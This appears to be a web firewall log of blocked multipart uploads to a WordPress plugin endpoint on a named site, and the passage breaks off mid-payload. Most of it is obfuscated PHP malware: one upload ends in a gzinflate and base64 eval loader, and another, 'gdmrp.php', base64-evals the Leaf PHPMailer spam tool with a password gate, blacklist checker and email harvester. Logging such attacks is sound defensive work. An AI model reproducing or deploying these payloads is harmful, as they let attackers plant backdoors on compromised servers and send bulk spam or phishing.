mdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--64fd611357089e5c46a5062c6d0f511a\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--64fd611357089e5c46a5062c6d0f511a\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--64fd611357089e5c46a5062c6d0f511a\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--64fd611357089e5c46a5062c6d0f511a--\r\n"]
["2026-05-26 21:32:44","170.205.30.68","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=f3cd85767c3bc45f94dd46510512a0a4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:222320\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-site:same-origin\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--f3cd85767c3bc45f94dd46510512a0a4\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--f3cd85767c3bc45f94dd46510512a0a4\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--f3cd85767c3bc45f94dd46510512a0a4\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"gdmrp.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZ